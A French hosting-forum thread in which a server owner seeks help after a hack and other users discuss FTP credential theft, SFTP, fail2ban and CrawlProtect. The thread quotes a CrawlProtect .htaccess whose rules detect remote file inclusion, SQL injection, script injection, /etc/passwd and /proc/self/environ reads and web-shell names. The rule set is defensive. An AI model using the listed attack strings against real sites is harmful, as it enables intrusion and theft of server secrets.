OVH Community, votre nouvel espace communautaire.

Help, serveur hacké


janus57
03/05/2015, 13h11
Bonjour,

c'est connu et reconnu que FileZilla stock les pass en clair, mais si le post client est bien sécurisé et ne télécharge pas n'importe quoi normalement il se fera jamais piqué ces pass.

Idem pour WinSCP, il stock pas les passe en clair mais il arrive a les crypter/decrypter pour pouvoir les utiliser donc au finale celui qui sait comment les décrypter cela lui prendra juste 5 minutes de plus par rapport à FileZilla, donc au final on en revient au même : sécuriser le post client.

J'utilise FileZilla depuis 2008, je me suis jamais fait pirater un accès FTP et pourtant j'utilise FileZilla depuis le début, je fait juste attention à ce que je télécharge et j'utilise un bon anti-virus sous Windows (exit Avast, vive Avira/Kaspersky).

Cordialement, janus57

DNSatic
03/05/2015, 12h28
Je prend le train en marche et juste pour partager mon expérience, filezila stocke les mots de passe en clair dans un fichier (quelquepart dans %appdata%) et certains virus/malware se sont spécialisés dans le fait d'aller chercher les infos de connexion dans ce fichier.

J'ai eu le cas du site d'un client compromis parceque le client utilisait filezila (sur mon conseil), et il enregistrait le mot de passe de connexion dans le manager de filezilla.
On a mis plusieurs heures à nettoyer les fichiers du CMS installé.

A part ne plus utiliser filezilla, ou ne plus stocker les mots de passe dans le manager, il existe d'autres solutions comme : http://www.aesecure.com/fr/blog/61-f...-solution.html

Sous windows, j'utilise winSCP, qui fait aussi client FTP, sFTP... et qui ne stocke pas les pass en clair, lui!

johnny57
30/04/2015, 15h31
Citation Envoyé par Nowwhat
Nous non plus.
Mais fille nous le logs détaillé de ton serveur FTP, et nous te le dirons
Tu réponds à quelle question ?

Nowwhat
30/04/2015, 15h17
Nous non plus.
Mais fille nous le logs détaillé de ton serveur FTP, et nous te le dirons

johnny57
30/04/2015, 14h03
Je viens de retester, ça fonctionne sans ftpd, je ne comprends pas pourquoi ça n'était pas passé la 1ere fois.

Kioob
30/04/2015, 13h47
Citation Envoyé par janus57
Bonjour,

pas possible

Tu as surement mis FTP(E)S à la place de SFTP.
+1.

janus57
30/04/2015, 13h44
Citation Envoyé par johnny57
Ben pourtant quand j'ai coupé ftpd la connexion sftp ne passait pas non plus, j'ai été obligé de réactiver ftpd, et là, la connexion sftp est passée à nouveau
Bonjour,

pas possible

Tu as surement mis FTP(E)S à la place de SFTP.

Preuve :
Code:
root@serveur:/home/janus57# dpkg -l | grep "ftp\|sftp\|ssh"
ii  ftp                                  0.17-27                       i386         classical file transfer client
ii  libssh2-1:i386                       1.4.2-1.1+deb7u1              i386         SSH2 client-side library
ii  openssh-blacklist                    0.4.1+nmu1                    all          list of default blacklisted OpenSSH RSA and DSA keys
ii  openssh-blacklist-extra              0.4.1+nmu1                    all          list of non-default blacklisted OpenSSH RSA and DSA keys
ii  openssh-client                       1:6.0p1-4+deb7u2              i386         secure shell (SSH) client, for secure access to remote machines
ii  openssh-server                       1:6.0p1-4+deb7u2              i386         secure shell (SSH) server, for secure access from remote machines
ii  task-ssh-server                      3.14.1                        all          SSH server
root@serveur:/home/janus57# grep -Hn "sftp" /etc/ssh/sshd_config
/etc/ssh/sshd_config:76:Subsystem sftp /usr/lib/openssh/sftp-server
Mis à part un client FTP pas de trace de serveur FTP, jsute un serveur SSH.

Code:
Statut :	Connexion à 192.168.1.20...
Réponse :	fzSftp started, protocol_version=2
Commande :	open "root@192.168.1.20" 22
Commande :	Pass: ******
Statut :	Connected to 192.168.1.20
Statut :	Récupération du contenu du dossier...
Commande :	pwd
Réponse :	Current directory is: "/root"
Statut :	Contenu du dossier "/root" affiché avec succès
Connexion SFTP via FileZilla, on vois bien que je tape sur le port 22 et que c'est du SFTP

Cordialement, janus57

johnny57
30/04/2015, 13h22
Ben pourtant quand j'ai coupé ftpd la connexion sftp ne passait pas non plus, j'ai été obligé de réactiver ftpd, et là, la connexion sftp est passée à nouveau

janus57
30/04/2015, 13h22
Bonjour,

Si il y a java, j'en ai besoin pour certaine application comme par exemple le gestionnaire de fichier de webmin.
poubelle tu as SSH/SFTP pour ça.

Impossible de stopper ftp sans stopper sftp puisque sfpt c'est l’encapsulation de ssh dans ftp si j'ai bien compris, donc ssh attaque ftp pour la connexion. D'ailleurs, quand ftp est à l'arrêt je ne peut pas me connecter en sftp.
non du tout SFTP est le support de transfert de fichier via un tunnel SSH (en gros).

FTP(E)S lui est une connexion FTP encapsulé dans du SSL/TLS

SFTP = port 22 (comme SSH) alors que FTP = port 21+20 (en générale) donc 2 protocoles totalement différents comme dit par @Kioob.
Perso j'ai jamais installé un seul serveur FTP et pourtant j'y accède très bien avec FileZilla + SFTP

Pour le passage du serveur en R2 à celui en R3 j'ai copié collé les sites depuis l'ancien serveur vers le nouveau, pour éviter les soucis les identifiants ont été conservés. Du coup si l'attaque avait ciblé le fichier des identifiants dans /etc il est possible qu'il aient été récupéré à l'époque (octobre dernier avec la fameuse grosse faille détéctée à ce moment et dont j'ai été victime)
très mauvais idée de ne pas avoir changé les pass après avoir transféré des fichiers d'un serveur hacké.

J'ai bien lu ce que vous m'avez montré, mais je peux te garantir que si tu avais un crawlprotect sous la main installé tu n'aurais pas de doute tout comme moi. Je suppose qu'il a fait un copier/coller de la notice d'installation de crawltrack et oublié de supprimer cette partie.
non je pense pas.
Cf : http://www.crawltrack.fr/forum/viewt...d=10465#p10465
Cf : http://www.crawltrack.fr/forum/viewt...d=10864#p10864

Désolé perso j'utilise pas ce genre de logiciel PHP qui peu lui aussi être vecteur de failles/attaques, je préfère blindé la config du serveur au maximum en mettant les robots malveillant à la porte avant qu'il infecte mon site.

Cordialement, janus57

Kioob
30/04/2015, 13h10
Citation Envoyé par johnny57
Impossible de stopper ftp sans stopper sftp puisque sfpt c'est l’encapsulation de ssh dans ftp si j'ai bien compris, donc ssh attaque ftp pour la connexion. D'ailleurs, quand ftp est à l'arrêt je ne peut pas me connecter en sftp.
Non, tu as mal compris. Les protocoles sont radicalement différents et n'utilisent pas les mêmes softs.

johnny57
30/04/2015, 12h58
Si il y a java, j'en ai besoin pour certaine application comme par exemple le gestionnaire de fichier de webmin.

Impossible de stopper ftp sans stopper sftp puisque sfpt c'est l’encapsulation de ssh dans ftp si j'ai bien compris, donc ssh attaque ftp pour la connexion. D'ailleurs, quand ftp est à l'arrêt je ne peut pas me connecter en sftp.

Le scan complet de mon pc a été fait par bitdefender de manière hebdomadaire hier, RAS.

Pour le passage du serveur en R2 à celui en R3 j'ai copié collé les sites depuis l'ancien serveur vers le nouveau, pour éviter les soucis les identifiants ont été conservés. Du coup si l'attaque avait ciblé le fichier des identifiants dans /etc il est possible qu'il aient été récupéré à l'époque (octobre dernier avec la fameuse grosse faille détéctée à ce moment et dont j'ai été victime)

Je suis seul à avoir accès au serveur de quelque manière que ce soit, donc pas de risque de ce coté.

J'ai bien lu ce que vous m'avez montré, mais je peux te garantir que si tu avais un crawlprotect sous la main installé tu n'aurais pas de doute tout comme moi. Je suppose qu'il a fait un copier/coller de la notice d'installation de crawltrack et oublié de supprimer cette partie.

janus57
30/04/2015, 12h20
Bonjour,

Je ne fait pas l'autruche, jamais en matière de sécurité. Mais je ne vois pas quoi faire de plus pour sécuriser mon poste. Je n'ouvre pas les pièces jointes de mails suspect même si je connais l'expéditeur, télécharge pas n'importe quoi. Je vais très gaf.
A tout hasard tu as pas java sur ta machine + navigateur du coup ?

Perso j'ai subit une intrusion via un script java planqué sur un script piraté ==> kaspersky s'enclenche et me détecte un trojan en cours d'install sur le PC ==> java désinstaller de ce PC qui n'en a pas besoin, depuis plus rien.
Et sur mon PC perso les plugins java dans les navigateurs sont désactivé de force.

De plus, stoppant systématiquement FTP après utilisation je vais largement limiter les risques de retour d'un hack par ce biais.
autant stoper complètement FTP et se connecter seulement en SFTP.

Perso par précaution je ferais un scan complet de mon PC dans ce genre de situation, car à moins que tu as utilisé les même pass que la R2 et/ou transféré les fichiers de la R2 à la R3 sans faire le nettoyage normalement cela n'a pas de lien.

Après je ne sais pas si tu es le seul a avoir des codes d'accès FTP ou autre mais si tu es pas le seul je couperais tous les accès d'autres personnes le temps de trouver par quel compte il est rentré.

Sinon pour le crawlprotect, comme @nowwhat la doc et le dev sur le forum dit qu'il y a un tag PHP à mettre (concrètement c'est un simple require_once du genre
Code:
$crawltsite=1;
require_once("/chemin/vers/crawlprotect/include/cppf.php");
Cordialement, janus57

johnny57
30/04/2015, 11h32
Je ne fait pas l'autruche, jamais en matière de sécurité. Mais je ne vois pas quoi faire de plus pour sécuriser mon poste. Je n'ouvre pas les pièces jointes de mails suspect même si je connais l'expéditeur, télécharge pas n'importe quoi. Je vais très gaf.

L'attaque de l'ancien serveur n'est probablement pas étrangère à ce hack je pense. De plus, stoppant systématiquement FTP après utilisation je vais largement limiter les risques de retour d'un hack par ce biais. Pour le sftp/scp via clé je vais me renseigner, je ne connais pas.

Kioob
30/04/2015, 11h06
Tu avais déjà fail2ban sur proftpd & ssh, donc la probabilité de bruteforce est extrêmement faible. Pour ma part 100% des vols de compte FTP que j'ai rencontré venaient du poste du client.
Pour quelqu'un de «très sécurité», tu ne devrais pas faire l'autruche et chercher en priorité de ce côté.

Maintenant que faire pour lutter contre ça ? Tu peux commencer par bannir complètement le FTP et les mots de passe, afin de n'utiliser que du SFTP/SCP via clé SSH. Mais bien que la clé SSH soit protégée via une passphrase, il faudra quand même protéger ton poste.

johnny57
30/04/2015, 10h01
Je n'installe pas n'importe quoi sur mon PC, pas de crack ou autre machin plein de virus. Je suis très "sécurité" une solution globale bitdefender installée, mot de passe sur ma machine de 25 caractères etc...

Je me demande si le hack de mon précédent serveur en R2 n'est pas à l'origine de la récupération des login, voir mot de passe ? Un brut de force ensuite sur le mot de passe suffit si les mots de passe n'avaient pas été récupéré.

Tous les mots de passe FTP ont été changés par un nouveau combinant lettre (majuscule et minuscule)/chiffre/caractères exotiques sur 17 caractères

Par précaution je couperai proftpd à la fin de chaque utilisation, comme ça, plus de soucis.

autres précautions que je vais appliquer immédiatement,

changement du port SSH
changement du port webmin

Pour le perfectionnement de Fail2ban :

http://hpics.li/760c69f

Que pourrait on activer de plus ?

Kioob
30/04/2015, 09h52
Si le point d'entrée est le FTP, généralement ça veut dire que c'est ton PC qui est vérolé.

Il faudrait surtout :
1) nettoyer ton PC
2) changer les mots de passe sur le serveur
3) arrêter d'installer n'importe quoi sur ton PC

johnny57
30/04/2015, 09h34
Je reste affirmatif à 200%, pas de tag php pour crawlprotect. Regardez les screens !!! Si quelqu'un me dit où je peux le générer je veux bien admettre mon erreur, mais là impossible de se tromper.

De toutes façon, j'ai trouvé le point d'entrée, enfin, je pense, et crawlprotect n'y aurait rien changé.

Le point d'entrée c'est le FTP.

J'ai plusieurs connexion depuis des IPs différentes qui ont été autorisées à l'heure de la modification des fichiers. Je pense qu'il n'y a plus de doutes possibles.

Je vais donc changer tous les mots de passes de tous les sites. Puis par précaution j’arrêterai proftpd à chaque fois que je n'en aurai plus besoin.

Nowwhat
30/04/2015, 08h46
Crawltrack ... CrawlProtect.... même traitement.
Suivant le doc de CrawlProtect ( http://www.crawltrack.fr/crawlprotect/documentation.php#installation il faut bien:
5) Puis vous devez mettre le tag php proposé sur vos pages, vous trouverez ici des indications détaillées sur comment le placer (il se place comme le tag de CrawlTrack).
J’utilise CrawlTrack/CrawlProtect sur certain des mes sites 'Mutu' ou les propriétaires installent des fois des plugins (extension, mods, etc) à la ouf. Je suis donc obligé d’intervenir car ils ont bousillé la sécurité de leur site

Mais, il est tôt - et il est possible que j'ai mal compris la question ...

johnny57
30/04/2015, 08h27
Citation Envoyé par Nowwhat
Car, sinon, les scripts de CrawlTrack seront jamais exécuté ....
ET c'est pas le hackeur ou autre visiteur qui va le faire à ta place.
A lire : http://www.crawltrack.fr/crawlprotec...p#installation
A lire : http://www.crawltrack.fr/doccms.php
C'est ainsi depuis l’existence de CrawlTrack - et normal, et logique.


"Présentation" ne parle effectivement pas de de "l'installation".
J'ai cité les liens.
Ce n'est pas crawltrack qui est installé mais crawlprotect, deux choses 100% différentes.

Initialement il n'y avait que crawltrack qui existait, il avait également des fonctions de blocages de tentatives de hack. Il nécessite en effet l'installation d'un code php dans les pages ppour fonctionner. Je n'utilise plus crawltrack, par contre j'utilise crawlprotect et je vous dit qu'il ne fait rien en php ! Il ne fait que créer des directives htaccess. Prenez 3 secondes pour le télécharger et vous verrez par vous même.

Allez hop, un screen de chacune des 3 pages du script, vous verrez rapidement par vous même que rien, nul part, ne permet de générer un code à installer :

http://hpics.li/ee3d809
http://hpics.li/fb50537
http://hpics.li/ccb73a1

Kioob
30/04/2015, 08h25
Read the logs Luke !

Il est souvent facile d'identifier la source, simplement en regardant les dates de modification des scripts modifiés / ajoutés par le pirate.
À partir de là tu cherches les requêtes POST ou PUT au même moment dans les logs NginX/Apache/PHP, ainsi que les accès FTP.

À la louche, dans 80% des cas tu trouves très vite la source. Le problème c'est surtout le nettoyage...

Nowwhat
30/04/2015, 08h02
Citation Envoyé par johnny57
Par acquis de conscience j'ai posté un message sur le forum de crawlprotect demandant pourquoi la doc demande d'installer un tag.
Car, sinon, les scripts de CrawlTrack seront jamais exécuté ....
ET c'est pas le hackeur ou autre visiteur qui va le faire à ta place.
A lire : http://www.crawltrack.fr/crawlprotec...p#installation
A lire : http://www.crawltrack.fr/doccms.php
C'est ainsi depuis l’existence de CrawlTrack - et normal, et logique.

Citation Envoyé par johnny57
Mais, utilisant crawlprotect depuis son lancement je suis absolument certain qu'aucun code php n'est nécessaire. De plus, l'interface du logiciel ne laisse aucun doute. La présentation du logiciel sur le site officiel le dit bien également :http://www.crawltrack.fr/crawlprotect/
"Présentation" ne parle effectivement pas de de "l'installation".
J'ai cité les liens.

johnny57
30/04/2015, 07h37
Par acquis de conscience j'ai posté un message sur le forum de crawlprotect demandant pourquoi la doc demande d'installer un tag. Mais, utilisant crawlprotect depuis son lancement je suis absolument certain qu'aucun code php n'est nécessaire. De plus, l'interface du logiciel ne laisse aucun doute. La présentation du logiciel sur le site officiel le dit bien également :http://www.crawltrack.fr/crawlprotect/

Comment CrawlProtect va vous protéger?

CrawlProtect agit a deux niveaux, premièrement grace au fichier htaccess qui va analyser les requètes entrantes sur votre site et immédiatement bloquer celles qui sont reconnues comme des tentatives de piratage (tentative d'injecter un script, tentative d'injecter une requète sql, requète faites par des robots connus comme étant nuisibles, etc...).

Le deuxième niveau de protection dépend de vous, CrawlProtect vous propose en quelques clics de mettre le niveau de chmod le plus adapté sur vos fichiers et répertoires.
Toute cette discution autour de crawlprotect est sympathique mais ça ne m'aide pas à comprendre comment l'attaque est entrée.

Je me retrouve au final avec une petite partie seulement des sites infectés.

Un prestashop 100% infecté alors que le répertoire blog de ce site contenant le wordpress (avant dernière version) n'a pas été touché.
Un dev 100% maison verouilllé par htaccess/htpasswd
Un autre dev 100% maison qui ne consiste qu'en un découpage header/menu/footer/page d'un site vitrine basique.

Uniquement un formulaire de contact sur ce site qui aurait pu permettre une injection de code sur le principe mais sur le fond je ne pense pas, je nettoie les entrées :

Sur les entrées texte comme nom, prénom etc :
Code PHP:
$variablemachin=trim(ucwords(eregi_replace("[^a-zA-Z0-9éèàäö\ -]""",$variablemachin))) 
Sur l'email :
Code PHP:
$variablemachin=strip_tags(trim($variablemachin)); 
Sur le champ téléphone :
Code PHP:
$variablemachin=trim(eregi_replace("[^0-9\ +]"""$variablemachin)); 
Il n'y a que le champ texte libre qui ne soit pas altéré par un traitement particulier. Toutes ces informations ne sont qu'envoyées par email, aucune injection base de donnée.

Un autre dev maison mais qui héberge aussi différents scripts open source dont certains ne sont plus maintenus depuis longtemps comme un gestionnaire de bannière pub.

Un site de petites annonces gratuites sous osclass

J'ai rétablie hier soir toutes les sauvegardes de fichier de la veille. Tout est propre mais je ne sais pas comment il est entré. J'ai désactivé urlfopen également dans php.ini par précaution.

Mon soucis, c'est que ne sachant pas comment trouver comment il est entré, il risque de réentrer. Personne ne saurait me dire quoi analyser et quoi chercher de plus que ce que j'ai déjà cherché ?

janus57
29/04/2015, 23h11
Bonjour,

Pas possible que crawlprotect nécessite un code php à injecter. Aucune option du script ne permet d'en générer Oo
va dire sa à son créateur et surtout à la doc qui montre très bien que y a quelque chose à faire, idem sur le forum (http://www.crawltrack.fr/forum/viewtopic.php?id=3902 + http://www.crawltrack.fr/forum/viewtopic.php?id=4024 ).

Sinon l'intrusion sur ton serveur sans l'intrusion via un utilisateur qui a les accès nécessaire OU une faille Wordpress + mauvaise isolation des sites sur la R3 qui permet de remonter l'arborescence via PHP.

Perso dans un cas comme ça je reprendrais tout à 0 avec des version "fraiche" des sites (backup avant l'infection par exemple).

Sinon je suis du même avis que @BBR, la R3 est morte surtout si celle-ci n'a pas été mis à jour depuis des mois.

Cordialement, janus57

bbr18
29/04/2015, 21h35
ça sent mauvais ton histoire, une réinstall se profile à l'horizon (au cas où abandonne la R3 déjà obsolète et passe à Debian par exemple)

johnny57
29/04/2015, 20h55
Pas possible que crawlprotect nécessite un code php à injecter. Aucune option du script ne permet d'en générer Oo

De toutes façon, il ne peut être en cause.

J'ai continué à fouiller sur le serveur.

Certains domaines installé qui contiennent un wordpress n'ont pas été affecté
Certains qui n'en contiennent pas ont été affecté

Pire, j'ai un nom de domaine installé sur la machine qui est complètement verrouillé par un htaccess/htpasswd il contient un dev maison d'un outil de gestion. Il a pourtant été 100% affecté par le hack. ça veut dire que le hack à réussi à obtenir des autorisation suffisantes pour remonter l'arborescence et modifier des fichiers en dehors du domaine qui a servie pour entrer. Ce domaine n'a pas pu être attaqué en direct du fait du htaccess, le problème vient d'ailleurs, forcément.

Je n'ai pas identifié comment le serveur a été exploité, si quelqu'un pouvait me dire où chercher et quoi je pourrai avancer.

janus57
29/04/2015, 20h34
Citation Envoyé par johnny57
Salut Janus,

crawltrack nécessite l'installation d'un code php, crawlprotect non, je n'utilise pas crawltrack (n'utilise plus je devrais dire)

J'ai énormément de site sur le serveur, difficile de tout maintenir à la main en temps réel.

Jamais je ne me suis reposé sur un système, je sais bien qu'aucun système n'est parfait. Mais c'est toujours mieux avec que sans.
Je vais me pencher sur mod_security pour l'avenir. Merci du conseil.
Bonjour,

ah non non c'est toi qui a mal lu alors :
Installer CrawlProtect

1) Unzipper le fichier téléchargé.

2) Uploader sur votre site le dossier crawlprotect (vous pouvez le renommer, mais il ne faudra pas changer ce nom après la création du fichier htaccess), l'adresse de votre CrawlProtect sera: www.votresite.com/crawlprotect/.

3) Rendez-vous à l'adresse de votre CrawlProtect, choisissez la langue à utiliser et suivez les instructions pour procéder à l'installation.

4) Une fois logué, la première chose à faire est de créer votre fichier htaccess. Choisissez les paramètres qui correspondent à votre site et lancez la création du fichier htaccess. Si il y a déjà un fichier htaccess en place, pas d'inquiétude, CrawlProtect va copier son contenu dans le nouveau fichier.

5) Puis vous devez mettre le tag php proposé sur vos pages, vous trouverez ici des indications détaillées sur comment le placer (il se place comme le tag de CrawlTrack).

6) Ensuite vous pouvez changer les niveaux de chmod de vos dossiers et fichiers pour une meilleur sécurité très simplement depuis l'interface de Crawlprotect. Il faudra toutefois veiller à ce que ces nouveaux chmod ne perturbent pas le fonctionnement de votre site.

7) C'est tout, ca y est CrawlProtect protège votre site. Pour tester si le fonctionnement est OK, essayez de visiter une adresse de la forme : http://www.votresite.com/index.php?s...//www.test.com . Vous devez être bloqué.
CrawlProtect pour vérifier la présence de son tag
Pour moi là concrètement c'est bien CrawlProtect qui nécessite l'utilisation d'un TAG PHP, donc comme @BBR l'a dit mal config de mon point de vu.

J'ai énormément de site sur le serveur, difficile de tout maintenir à la main en temps réel.
pourtant il faut le faire, sinon voici ce qui peu se produire.
Si c'est impossible pour vous d'entretenir les site faut pas les gérer ou alors faut lâcher la gestion du serveur pour se dégager du temps.

Car concrètement si on calcule le temps à surveiller les MAJs + les appliquer VS le temps de nettoyage en cas de hack d'un ou plusieurs sites (par réaction en chaine ou non), bah le plus rentable c'est sans doute les MAJs + surveillance, surtout que un nettoyage mal fait et hop le pirate reviens quelques heures/jours/semaines plus tard.

Cordialement, janus57

johnny57
29/04/2015, 18h56
Salut Janus,

crawltrack nécessite l'installation d'un code php, crawlprotect non, je n'utilise pas crawltrack (n'utilise plus je devrais dire)

J'ai énormément de site sur le serveur, difficile de tout maintenir à la main en temps réel.

Jamais je ne me suis reposé sur un système, je sais bien qu'aucun système n'est parfait. Mais c'est toujours mieux avec que sans.
Je vais me pencher sur mod_security pour l'avenir. Merci du conseil.

janus57
29/04/2015, 18h47
Bonjour,

non c'est pas 100% autonome :
5) Puis vous devez mettre le tag php proposé sur vos pages, vous trouverez ici des indications détaillées sur comment le placer (il se place comme le tag de CrawlTrack).
Cf : http://www.crawltrack.fr/crawlprotec...p#installation

cela a été fait pour tout vos sites/CMS ??
De plus le TAG doit logiquement être effacé avec les MAJs auto de wordpress.

Sinon il a pas été mis à jour depuis 2012 donc il ne protège peut être pas des attaques récentes et mieux élaborés.

Faut jamais se reposer sur 1seul et unique logiciel pour dire "c'est bon mes sites sont "safe" je peu les laisser sans rien faire."

Faut toujours MAJ son serveur/sites même si wordpress a un système de MAJ automatique c'est peut être mieux de le faire à la main quelques heures/minutes après l'annonce plutôt que d'attendre que la MAJ auto se déclenche 7jours plus tard.

De plus quitte a utiliser un système dans le même genre que "CrawlProtect" autant utiliser mod_security sous apache qui doit être 2x plus performant une fois bien config.

Cordialement, janus57

johnny57
29/04/2015, 18h34
Il n'y a rien à configurer, tout est automatique. Après ça reste des directives htaccess. Pour les curieux :
Code:
# CrawlProtect-2-0-0
#----------------------------------------------------------------------
# Protect you website from hackers
#----------------------------------------------------------------------
# Author: Jean-Denis Brun
#----------------------------------------------------------------------
# Website: www.crawlprotect.com
#----------------------------------------------------------------------
# That script is distributed under GNU GPL license
#----------------------------------------------------------------------
# file: .htaccess
#----------------------------------------------------------------------
#  Last update: 20/06/2010
#----------------------------------------------------------------------
RewriteEngine On
#-------------------------------
#Code injection blocage
#----------------------------------------
RewriteCond %{REQUEST_METHOD} (GET) [NC]
#--------------------------------------------------------------------------------
#case CrawlTrack
RewriteCond %{REQUEST_URI} !^(.*)countdownload(.*)$ [NC]
RewriteCond %{REQUEST_URI} !^(.*)keywordposition\.php(.*)$ [NC]
#--------------------------------------------------------------------------------
#case Piwik 
RewriteCond %{REQUEST_URI} !^(.*)piwik(.*)$ [NC]
#--------------------------------------------------------------------------------
#case sphider
RewriteCond %{REQUEST_URI} !^(.*)sphider(.*)$ [NC]
#--------------------------------------------------------------------------------
#--------------------------------------------------------------------------------
#case phpmynewsletter
RewriteCond %{REQUEST_URI} !^(.*)gest-emailing(.*)$ [NC]
#--------------------------------------------------------------------------------

#the following rules can block some off your url, in case of problem try to suppress them one per one until you solve it
RewriteCond %{QUERY_STRING} ^(.*)(%3D|=|%3A|%09)(h|%68|%48)(t|%74|%54)(t|%74|%54)(p|%70|%50)(s|%73|%53)(%3A|:)(/|%2F){2}(.*)$ [NC,OR]
RewriteCond %{QUERY_STRING} ^(.*)(%3D|=|%3A|%09)(h|%68|%48)(t|%74|%54)(t|%74|%54)(p|%70|%50)(s|%73|%53)%3a(%3A|:)(/|%2F){2}(.*)$ [NC,OR]
RewriteCond %{QUERY_STRING} ^(.*)(%3D|=|%3A|%09)(h|%68|%48)(t|%74|%54)(t|%74|%54)(p|%70|%50)(%3A|:)(/|%2F){2}(.*)$ [NC]
RewriteCond %{QUERY_STRING} ^(.*)(%3D|=|%3A|%09)(h|%68|%48)(t|%74|%54)(t|%74|%54)(p|%70|%50)%3a(%3A|:)(/|%2F){2}(.*)$ [NC,OR]
RewriteCond %{QUERY_STRING} ^(.*)(%3D|=|%3A|%09)(f|%66|%46)(t|%74|%54)(p|%70|%50)(%3A|:)(/|%2F){2}(.*)$ [NC,OR]
RewriteCond %{QUERY_STRING} ^(.*)(%3D|=|%3A|%09)(h|%68|%48)(t|%74|%54)%20(t|%74|%54)(p|%70|%50)(%3A|:)(/|%2F){2}(.*)$ [NC,OR]
RewriteCond %{QUERY_STRING} ^(.*)(%3D|=|%3A|%09)(h|%68|%48)(t|%74|%54)(t|%74|%54)%20(p|%70|%50)(%3A|:)(/|%2F){2}(.*)$ [NC,OR]
RewriteCond %{QUERY_STRING} ^(.*)(%3D|=|%3A|%09)(h|%68|%48)(t|%74|%54)(t|%74|%54)(p|%70|%50)%20(%3A|:)(/|%2F){2}(.*)$ [NC,OR]
RewriteCond %{QUERY_STRING} ^(.*)(%3D|=|%3A|%09)(h|%68|%48)%20(t|%74|%54)(t|%74|%54)(p|%70|%50)(%3A|:)(/|%2F){2}(.*)$ [NC,OR]
#end of potential issue rules
RewriteRule (.*) /home/buzi/www/crawlprotect/noaccess/noaccess1.php   [L]
#-------------------------------
#Sql injection blocage
#----------------------------------------
RewriteCond %{REQUEST_METHOD} (GET|POST) [NC]
RewriteCond %{QUERY_STRING} ^(.*)(%20(S|%73|%53)(E|%65|%45)(L|%6C|%4C)(E|%65|%45)(C|%63|%43)(T|%74|%54)%20|%20(I|%69|%49)(N|%6E|%4E)(S|%73|%53)(E|%65|%45)(R|%72|%52)(T|%74|%54)%20|(C|%63|%43)(H|%68|%48)(A|%61|%41)(R|%72|%52)\(|%20(U|%75|%55)(P|%70|%50)(D|%64|%44)(A|%61|%41)(T|%74|%54)(E|%65|%45)%20|%20(R|%72|%52)(E|%65|%45)(P|%70|%50)(L|%6C|%4C)(A|%61|%41)(C|%63|%43)(E|%65|%45)%20)(.*)$ [NC]
RewriteRule (.*) /home/buzi/www/crawlprotect/noaccess/noaccess1.php   [L]
#-------------------------------
#Code injection blocage
#----------------------------------------
RewriteCond %{REQUEST_METHOD} (GET|POST) [NC]
RewriteCond %{QUERY_STRING} ^(.*)(%3C|<)/?(s|%73|%53)(c|%63|%43)(r|%72|%52)(i|%69|%49)(p|%70|%50)(t|%74|%54)(.*)$ [NC,OR]
RewriteCond %{QUERY_STRING} ^(.*)(%3D|=)?(j|%6A|%4A)(a|%61|%41)(v|%76|%56)(a|%61|%31)(s|%73|%53)(c|%63|%43)(r|%72|%52)(i|%69|%49)(p|%70|%50)(t|%74|%54)(%3A|:)(.*)$ [NC,OR]
RewriteCond %{QUERY_STRING} ^(.*)(d|%64|%44)(o|%6F|%4F)(c|%63|%43)(u|%75|%55)(m|%6D|%4D)(e|%65|%45)(n|%6E|%4E)(t|%74|%54)\.(l|%6C|%4C)(o|%6F|%4F)(c|%63|%43)(a|%61|%41)(t|%74|%54)(i|%69|%49)(o|%6F|%4F)(n|%6E|%4E)\.(h|%68|%48)(r|%72|%52)(e|%65|%45)(f|%66|%46)(.*)$ [OR]
RewriteCond %{QUERY_STRING} ^(.*)(b|%62|%42)(a|%61|%41)(s|%73|%53)(e|%65|%45)(6|%36)(4|%34)(_|%5F)(e|%65|%45)(n|%6E|%4E)(c|%63|%43)(o|%6F|%4F)(d|%64|%44)(e|%65|%45)(.*)$ [OR]
RewriteCond %{QUERY_STRING} ^(.*)(G|%67|%47)(L|%6C|%4C)(O|%6F|%4F)(B|%62|%42)(A|%61|%41)(L|%6C|%4C)(S|%73|%53)(=|[|%[0-9A-Z]{0,2})(.*)$ [OR]
RewriteCond %{QUERY_STRING} ^(.*)(_|%5F)(R|%72|%52)(E|%65|%45)(Q|%71|%51)(U|%75|%55)(E|%65|%45)(S|%73|%53)(T|%74|%54)(=|[|%[0-9A-Z]{0,2})(.*)$ [OR]
RewriteCond %{REQUEST_URI} ^(.*)(_|%5F)(v|%76|%56)(t|%74|%54)(i|%69|%49)(.*)$ [OR]
RewriteCond %{REQUEST_URI} ^(.*)(M|%4D)(S|%53)(O|%4F)(f|%66)(f|%66)(i|%69)(c|%63)(e|%65)(.*)$ [OR]
RewriteCond %{QUERY_STRING} ^(.*)(/|%2F)(e|%65)(t|%74)(c|%63)(/|%2F)(p|%70)(a|%61)(s|%73)(s|%73)(w|%77)(d|%64)(.*)$ [OR]
RewriteCond %{REQUEST_URI} ^(.*)(S|%53)(h|%68)(e|%65)(l|%6C)(l|%6C)(A|%41)(d|%64)(r|%72)(e|%65)(s|%73)(i|%69).(T|%54)(X|%58)(T|%54)(.*)$ [OR]
RewriteCond %{REQUEST_URI} ^(.*)\[(e|%65)(v|%76)(i|%69)(l|%6C)(_|%5F)(r|%72)(o|%6F)(o|%6F)(t|%74)\]?(.*)$ [OR]
RewriteCond %{QUERY_STRING} ^(.*)\.\./\.\./\.\./(.*)$ [OR]
RewriteCond %{QUERY_STRING} ^(.*)(/|%2F)(p|%70)(r|%72)(o|%6F)(c|%63)(/|%2F)(s|%73)(e|%65)(l|%C)(f|%66)(/|%2F)(e|%65)(n|%6E)(v|%76)(i|%69)(r|%72)(o|%6F)(n|%6E)(.*)$
RewriteRule (.*) /home/buzi/www/crawlprotect/noaccess/noaccess1.php   [L]
#-------------------------------
#Bad bot and site copier blocage
#-------------------------------
